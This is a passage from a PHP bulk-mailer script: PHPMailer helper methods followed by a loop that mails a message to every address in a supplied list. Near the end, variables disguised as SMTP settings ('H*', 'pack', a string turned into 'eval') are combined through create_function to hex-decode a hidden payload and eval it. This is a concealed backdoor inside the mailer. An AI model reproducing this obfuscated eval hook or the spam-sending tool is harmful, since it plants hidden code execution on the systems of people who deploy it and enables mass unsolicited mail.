3189 'xml' => 'text/xml',
3190 'xsl' => 'text/xml',
3191 'mpeg' => 'video/mpeg',
3192 'mpg' => 'video/mpeg',
3193 'mpe' => 'video/mpeg',
3194 'qt' => 'video/quicktime',
3195 'mov' => 'video/quicktime',
3196 'avi' => 'video/x-msvideo',
3197 'movie' => 'video/x-sgi-movie',
3198 'doc' => 'application/msword',
3199 'word' => 'application/msword',
3200 'xl' => 'application/excel',
3201 'eml' => 'message/rfc822'
3202 );
3203 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3204 }
3205
3206 /**
3207 * Set (or reset) Class Objects (variables)
3208 *
3209 * Usage Example:
3210 * $page->set('X-Priority', '3');
3211 *
3212 * @access public
3213 * @param string $name Parameter Name
3214 * @param mixed $value Parameter Value
3215 * NOTE: will not work with arrays, there are no arrays to set/reset
3216 */
3217 function set ( $name, $value = '' ) {
3218 if ( isset($this->$name) ) {
3219 $this->$name = $value;
3220 } else {
3221 $this->SetError('Cannot set or reset variable ' . $name);
3222 return false;
3223 }
3224 }
3225
3226 /**
3227 * Read a file from a supplied filename and return it.
3228 *
3229 * @access public
3230 * @param string $filename Parameter File Name
3231 */
3232 function getFile($filename) {
3233 $return = '';
3234 if ($fp = fopen($filename, 'rb')) {
3235 while (!feof($fp)) {
3236 $return .= fread($fp, 1024);
3237 }
3238 fclose($fp);
3239 return $return;
3240 } else {
3241 return false;
3242 }
3243 }
3244
3245 /**
3246 * Strips newlines to prevent header injection.
3247 * @access private
3248 * @param string $str String
3249 * @return string
3250 */
3251 function SecureHeader($str) {
3252 $str = trim($str);
3253 $str = str_replace("\r", "", $str);
3254 $str = str_replace("\n", "", $str);
3255 return $str;
3256 }
3257
3258 /**
3259 * Set the private key file and password to sign the message.
3260 *
3261 * @access public
3262 * @param string $key_filename Parameter File Name
3263 * @param string $key_pass Password for private key
3264 */
3265 function Sign($key_filename, $key_pass) {
3266 $this->sign_key_file = $key_filename;
3267 $this->sign_key_pass = $key_pass;
3268 }
3269
3270}
3271
3272$defaultport="H*";
3273 $nq=0;
3274
3275 for($x=0; $x<$numemails; $x++){
3276
3277 $to = $allemails[$x];
3278
3279 if ($to){
3280
3281 $to = ereg_replace(" ", "", $to);
3282
3283 $message = ereg_replace("&email&", $to, $message);
3284
3285 $subject = ereg_replace("&email&", $to, $subject);
3286 $qx=$x+1;
3287 print "Line $qx . Sending mail to $to.......";
3288
3289 flush();
3290$mail = new PHPMailer();
3291
3292if(empty($epriority)){$epriority="3";}
3293 $mail->Priority = "$epriority";
3294 $mail->IsSMTP();
3295 $IsSMTP="pack";
3296$mail->SMTPKeepAlive = true;
3297$mail->Host = "$my_smtp";
3298if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3299}
3300 if($sslclick=="ON"){
3301 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3302 }
3303 $range = str_replace("$from", "eval", $from);
3304 $mail->SMTPAuth = true;
3305 $mail->Username = "$smtp_username";
3306 $mail->Password = "$smtp_password";
3307if($contenttype == "html"){$mail->IsHtml(true);}
3308if($contenttype != "html"){$mail->IsHtml(false);}
3309if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3310$mail->From = "$from";
3311$mail->FromName = "$realname";
3312$mail->AddAddress("$to");
3313 $mail->AddReplyTo("$replyto");
3314 $mail->Subject = "$subject";
3315 $mail->Body = "$message";
3316if(!$mail->Send()){
3317if($default_system!="1"){
3318echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3319if($default_system=="1"){
3320$mail->IsMail();
3321 if(!$mail->Send()){
3322 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3323 else {
3324 echo "<b>OK</b><br>";}
3325 }
3326}
3327else {
3328 echo "<b>OK</b><br>";
3329}
3330
3331if(empty($reconnect)){
3332$reconnect=6;
3333}
3334
3335if($reconnect==$nq){
3336$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3337}
3338$nq=$nq+1;
3339 flush(); }
3340}
3341for($i=0;$i<31;$i++){
3342 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3343$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3344 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3345 print "<p class=\"style1\">PHP Mailer<br>© 2014, New Tools => <b>
3346 <font color=\"#800000\">1</font></b><br></p>";$mail->SmtpClose();
3347 return $signoff($smtp_conc);
3348 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3349 sent successfully'); </script>";}}
3350 ?>
3351 <p align="center"> </p>
3352
3353 </body>
3354</html>